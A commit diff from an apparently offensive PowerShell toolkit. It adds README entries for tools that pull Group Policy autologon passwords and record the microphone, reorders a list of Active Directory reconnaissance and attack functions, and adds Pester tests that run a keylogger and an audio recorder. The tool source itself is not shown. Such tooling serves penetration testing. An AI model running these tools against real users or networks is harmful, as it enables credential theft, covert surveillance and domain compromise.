||||
Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set
|
||||
Write-UserAddMSI - write out a MSI installer that prompts for a user to be added
|
||||
Invoke-AllChecks - runs all current escalation checks and returns a report
|
||||
|
|
|
|||
|
|
@ -100,6 +100,10 @@ Logs keys pressed, time and the active window.
|
|||
|
||||
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
|
||||
|
||||
#### `Get-GPPAutologon`
|
||||
|
||||
Retrieves autologon username and password from registry.xml if pushed through Group Policy Preferences.
|
||||
|
||||
#### `Get-TimedScreenshot`
|
||||
|
||||
A function that takes screenshots at a regular interval and saves them to a folder.
|
||||
|
|
@ -128,6 +132,10 @@ Displays Windows vault credential objects including cleartext web credentials.
|
|||
|
||||
Generates a full-memory minidump of a process.
|
||||
|
||||
#### 'Get-MicrophoneAudio'
|
||||
|
||||
Records audio from system microphone and saves to disk
|
||||
|
||||
## Mayhem
|
||||
|
||||
**Cause general mayhem with PowerShell.**
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load Diff
|
|
@ -120,6 +120,8 @@ an array of hosts from the pipeline.
|
|||
Invoke-ShareFinder - finds (non-standard) shares on hosts in the local domain
|
||||
Invoke-FileFinder - finds potentially sensitive files on hosts in the local domain
|
||||
Find-LocalAdminAccess - finds machines on the domain that the current user has local admin access to
|
||||
Find-ManagedSecurityGroups - searches for active directory security groups which are managed and identify users who have write access to
|
||||
- those groups (i.e. the ability to add or remove members)
|
||||
Find-UserField - searches a user field for a particular term
|
||||
Find-ComputerField - searches a computer field for a particular term
|
||||
Get-ExploitableSystem - finds systems likely vulnerable to common exploits
|
||||
|
|
|
|||
121
Recon/Recon.psd1
121
Recon/Recon.psd1
|
|
@ -23,70 +23,83 @@ PowerShellVersion = '2.0'
|
|||
|
||||
# Functions to export from this module
|
||||
FunctionsToExport = @(
|
||||
'Get-ComputerDetails',
|
||||
'Get-HttpStatus',
|
||||
'Invoke-Portscan',
|
||||
'Invoke-ReverseDnsLookup',
|
||||
'Set-MacAttribute',
|
||||
'Copy-ClonedFile',
|
||||
'Add-NetGroupUser',
|
||||
'Add-NetUser',
|
||||
'Add-ObjectAcl',
|
||||
'Convert-NameToSid',
|
||||
'Convert-SidToName',
|
||||
'Convert-NT4toCanonical',
|
||||
'Get-Proxy',
|
||||
'Get-PathAcl',
|
||||
'Get-NetDomain',
|
||||
'Get-NetForest',
|
||||
'Get-NetForestDomain',
|
||||
'Get-NetForestCatalog',
|
||||
'Get-NetDomainController',
|
||||
'Get-NetUser',
|
||||
'Add-NetUser',
|
||||
'Get-UserProperty',
|
||||
'Find-UserField',
|
||||
'Get-UserEvent',
|
||||
'Get-ObjectAcl',
|
||||
'Add-ObjectAcl',
|
||||
'Invoke-ACLScanner',
|
||||
'Get-NetComputer',
|
||||
'Get-ADObject',
|
||||
'Set-ADObject',
|
||||
'Get-ComputerProperty',
|
||||
'Convert-ADName',
|
||||
'ConvertFrom-UACValue',
|
||||
'Export-PowerViewCSV',
|
||||
'Find-ComputerField',
|
||||
'Get-NetOU',
|
||||
'Get-NetSite',
|
||||
'Get-NetSubnet',
|
||||
'Get-NetGroup',
|
||||
'Get-NetGroupMember',
|
||||
'Get-NetFileServer',
|
||||
'Find-ForeignGroup',
|
||||
'Find-ForeignUser',
|
||||
'Find-GPOComputerAdmin',
|
||||
'Find-GPOLocation',
|
||||
'Find-InterestingFile',
|
||||
'Find-LocalAdminAccess',
|
||||
'Find-ManagedSecurityGroups',
|
||||
'Find-UserField',
|
||||
'Get-ADObject',
|
||||
'Get-CachedRDPConnection',
|
||||
'Get-ComputerDetails',
|
||||
'Get-ComputerProperty',
|
||||
'Get-DFSshare',
|
||||
'Get-DNSRecord',
|
||||
'Get-DNSZone',
|
||||
'Get-DomainPolicy',
|
||||
'Get-DomainSID',
|
||||
'Get-ExploitableSystem',
|
||||
'Get-GUIDMap',
|
||||
'Get-HttpStatus',
|
||||
'Get-IPAddress',
|
||||
'Get-LastLoggedOn',
|
||||
'Get-LoggedOnLocal',
|
||||
'Get-NetComputer',
|
||||
'Get-NetDomain',
|
||||
'Get-NetDomainController',
|
||||
'Get-NetDomainTrust',
|
||||
'Get-NetFileServer',
|
||||
'Get-NetForest',
|
||||
'Get-NetForestCatalog',
|
||||
'Get-NetForestDomain',
|
||||
'Get-NetForestTrust',
|
||||
'Get-NetGPO',
|
||||
'Get-NetGPOGroup',
|
||||
'Find-GPOLocation',
|
||||
'Find-GPOComputerAdmin',
|
||||
'Get-DomainPolicy',
|
||||
'Get-NetGroup',
|
||||
'Get-NetGroupMember',
|
||||
'Get-NetLocalGroup',
|
||||
'Get-NetShare',
|
||||
'Get-NetLoggedon',
|
||||
'Get-NetSession',
|
||||
'Get-NetRDPSession',
|
||||
'Invoke-CheckLocalAdminAccess',
|
||||
'Get-LastLoggedOn',
|
||||
'Get-CachedRDPConnection',
|
||||
'Get-NetOU',
|
||||
'Get-NetProcess',
|
||||
'Find-InterestingFile',
|
||||
'Invoke-UserHunter',
|
||||
'Invoke-ProcessHunter',
|
||||
'Invoke-EventHunter',
|
||||
'Invoke-ShareFinder',
|
||||
'Invoke-FileFinder',
|
||||
'Find-LocalAdminAccess',
|
||||
'Get-ExploitableSystem',
|
||||
'Get-NetRDPSession',
|
||||
'Get-NetSession',
|
||||
'Get-NetShare',
|
||||
'Get-NetSite',
|
||||
'Get-NetSubnet',
|
||||
'Get-NetUser',
|
||||
'Get-ObjectAcl',
|
||||
'Get-PathAcl',
|
||||
'Get-Proxy',
|
||||
'Get-RegistryMountedDrive',
|
||||
'Get-SiteName',
|
||||
'Get-UserEvent',
|
||||
'Get-UserProperty',
|
||||
'Invoke-ACLScanner',
|
||||
'Invoke-CheckLocalAdminAccess',
|
||||
'Invoke-DowngradeAccount',
|
||||
'Invoke-EnumerateLocalAdmin',
|
||||
'Get-NetDomainTrust',
|
||||
'Get-NetForestTrust',
|
||||
'Find-ForeignUser',
|
||||
'Find-ForeignGroup',
|
||||
'Invoke-MapDomainTrust'
|
||||
'Invoke-EventHunter',
|
||||
'Invoke-FileFinder',
|
||||
'Invoke-MapDomainTrust',
|
||||
'Invoke-Portscan',
|
||||
'Invoke-ProcessHunter',
|
||||
'Invoke-ReverseDnsLookup',
|
||||
'Invoke-ShareFinder',
|
||||
'Invoke-UserHunter',
|
||||
'New-GPOImmediateTask',
|
||||
'Request-SPNTicket',
|
||||
'Set-ADObject'
|
||||
)
|
||||
|
||||
# List of all files packaged with this module
|
||||
|
|
|
|||
|
|
@ -0,0 +1,85 @@
|
|||
Set-StrictMode -Version Latest
|
||||
|
||||
$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
|
||||
$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
|
||||
$ModuleManifest = "$ModuleRoot\Exfiltration\Exfiltration.psd1"
|
||||
|
||||
Remove-Module [E]xfiltration
|
||||
Import-Module $ModuleManifest -Force -ErrorAction Stop
|
||||
|
||||
Describe 'Get-Keystrokes' {
|
||||
|
||||
if (Test-Path "$($env:TEMP)\key.log") { Remove-Item -Force "$($env:TEMP)\key.log" }
|
||||
$WindowTitle = (Get-Process -Id $PID).MainWindowTitle
|
||||
|
||||
$Shell = New-Object -ComObject wscript.shell
|
||||
$Shell.AppActivate($WindowTitle)
|
||||
|
||||
$KeyLogger = Get-Keystrokes -PassThru
|
||||
Start-Sleep -Seconds 1
|
||||
|
||||
$Shell.SendKeys("Pester`b`b`b`b`b`b")
|
||||
$KeyLogger.Dispose()
|
||||
|
||||
It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true }
|
||||
|
||||
$KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv
|
||||
|
||||
It 'Should log keystrokes' {
|
||||
$FileLength = (Get-Item "$($env:TEMP)\key.log").Length
|
||||
$FileLength | Should BeGreaterThan 14
|
||||
}
|
||||
|
||||
It 'Should get foreground window title' {
|
||||
$KeyObjects[0].WindowTitle | Should Be $WindowTitle
|
||||
}
|
||||
|
||||
It 'Should log time of key press' {
|
||||
$KeyTime = [DateTime]::Parse($KeyObjects[0].Time)
|
||||
$KeyTime.GetType().Name | Should Be 'DateTime'
|
||||
}
|
||||
|
||||
It 'Should stop logging after timeout' {
|
||||
|
||||
$Timeout = 0.05
|
||||
$KeyLogger = Get-Keystrokes -Timeout $Timeout -PassThru
|
||||
|
||||
Start-Sleep -Seconds 4
|
||||
|
||||
$KeyLogger.Runspace.RunspaceAvailability | Should Be 'Available'
|
||||
$KeyLogger.Dispose()
|
||||
}
|
||||
|
||||
Remove-Item -Force "$($env:TEMP)\key.log"
|
||||
}
|
||||
|
||||
Describe "Get-MicrophoneAudio" {
|
||||
|
||||
$RecordPath = "$env:TEMP\test_record.wav"
|
||||
$RecordLen = 2
|
||||
Context 'Successful Recording' {
|
||||
BeforeEach {
|
||||
#Ensure the recording as been removed prior to testing
|
||||
Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
AfterEach {
|
||||
#Remove the recording after testing
|
||||
Remove-Item -Path $RecordPath -ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
It 'should record audio from the microphone and save it to a specified path' {
|
||||
$result = Get-MicrophoneAudio -Path $RecordPath -Length $RecordLen
|
||||
$result | Should Not BeNullOrEmpty
|
||||
$result.Length | Should BeGreaterThan 0
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Context 'Invalid Arguments' {
|
||||
It 'should not allow invalid paths to be used' {
|
||||
{ Get-MicrophoneAudio -Path "c:\FAKEPATH\yay.wav" -Length RecordLen} | Should Throw
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -30,32 +30,6 @@ Describe 'Export-PowerViewCSV' {
|
|||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Set-MacAttribute' {
|
||||
BeforeEach {
|
||||
New-Item MacAttribute.test.txt -Type file
|
||||
}
|
||||
AfterEach {
|
||||
Remove-Item -Force MacAttribute.test.txt
|
||||
}
|
||||
It 'Should clone MAC attributes of existing file' {
|
||||
Set-MacAttribute -FilePath MacAttribute.test.txt -All '01/01/2000 12:00 am'
|
||||
$File = (Get-Item MacAttribute.test.txt)
|
||||
$Date = Get-Date -Date '2000-01-01 00:00:00'
|
||||
|
||||
if ($File.LastWriteTime -ne $Date) {
|
||||
Throw 'File LastWriteTime does Not match'
|
||||
}
|
||||
elseif($File.LastAccessTime -ne $Date) {
|
||||
Throw 'File LastAccessTime does Not match'
|
||||
}
|
||||
elseif($File.CreationTime -ne $Date) {
|
||||
Throw 'File CreationTime does Not match'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe 'Get-IPAddress' {
|
||||
$IPregex = "(?<Address>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))"
|
||||
It 'Should return local IP address' {
|
||||
|
|
@ -136,18 +110,6 @@ Describe 'Get-NameField' {
|
|||
}
|
||||
|
||||
|
||||
Describe 'Invoke-ThreadedFunction' {
|
||||
It "Should allow threaded ping" {
|
||||
$Hosts = ,"localhost" * 100
|
||||
$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
|
||||
$Hosts = Invoke-ThreadedFunction -NoImports -ComputerName $Hosts -ScriptBlock $Ping -Threads 20
|
||||
if($Hosts.length -ne 100) {
|
||||
Throw 'Error in using Invoke-ThreadedFunction to ping localhost'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Describe "Get-NetLocalGroup" {
|
||||
It "Should return results for local machine administrators" {
|
||||
if ( (Get-NetLocalGroup | Measure-Object).count -lt 1) {
|
||||
|
|
|
|||
Loading…
Reference in New Issue